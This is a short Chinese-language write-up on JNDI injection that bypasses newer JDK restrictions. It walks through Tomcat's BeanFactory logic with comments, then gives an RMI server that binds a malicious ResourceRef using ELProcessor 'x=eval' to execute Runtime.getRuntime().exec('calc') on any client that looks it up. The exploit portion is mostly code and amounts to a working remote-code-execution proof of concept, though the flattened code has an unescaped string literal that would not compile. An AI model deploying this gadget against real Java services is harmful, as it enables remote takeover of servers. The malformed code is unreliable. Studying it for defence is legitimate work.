绕过高版本JDK限制的JNDI注入

//检索此引用引用的对象的工厂位置。String getFactoryClassLocation()

public Object getObjectInstance(Object obj, Name name, Context nameCtx,                                Hashtable<?,?> environment)    throws NamingException {
    Reference ref = (Reference) obj;    String beanClassName = ref.getClassName();//获取ELProcess这个类路径的字符串    ClassLoader tcl = Thread.currentThread().getContextClassLoader();    // 1. 反射获取类对象    if (tcl != null) {        //tcl为AppClassLoader，用来获取这个类对象        beanClass = tcl.loadClass(beanClassName);    } else {        beanClass = Class.forName(beanClassName);    }    // 2. 初始化类实例 调用ELProcess这个类的无参构造    Object bean = beanClass.getConstructor().newInstance();
    // 3. 根据 Reference 的属性查找 setter 方法的别名    RefAddr ra = ref.get("forceString");    String value = (String)ra.getContent();//x=eval
    // 4. 循环解析别名并保存到字典中    for (String param: value.split(",")) {        param = param.trim();        index = param.indexOf('=');        if (index >= 0) {            //进行分割操作。x和eval分别存到变量中            setterName = param.substring(index + 1).trim();            param = param.substring(0, index).trim();        } else {            setterName = "set" +                param.substring(0, 1).toUpperCase(Locale.ENGLISH) +                param.substring(1);        }        forced.put(param, beanClass.getMethod(setterName, paramTypes));    }
    // 5. 解析所有属性，并根据别名去调用 setter 方法    Enumeration<RefAddr> e = ref.getAll();    while (e.hasMoreElements()) {        ra = e.nextElement();        String propName = ra.getType();        String value = (String)ra.getContent();        Object[] valueArray = new Object[1];        Method method = forced.get(propName);        if (method != null) {            valueArray[0] = value;            method.invoke(bean, valueArray);        }    }}

  public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {        Registry registry = LocateRegistry.createRegistry(7777);//注册中心绑定的端口        //绑定的恶意类       // Reference reference = new Reference("T","T","http://127.0.0.1:80");        //RemoteReference        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",                true, "org.apache.naming.factory.BeanFactory", null);        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec("calc")"));        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);        registry.bind("RCE",referenceWrapper);
    }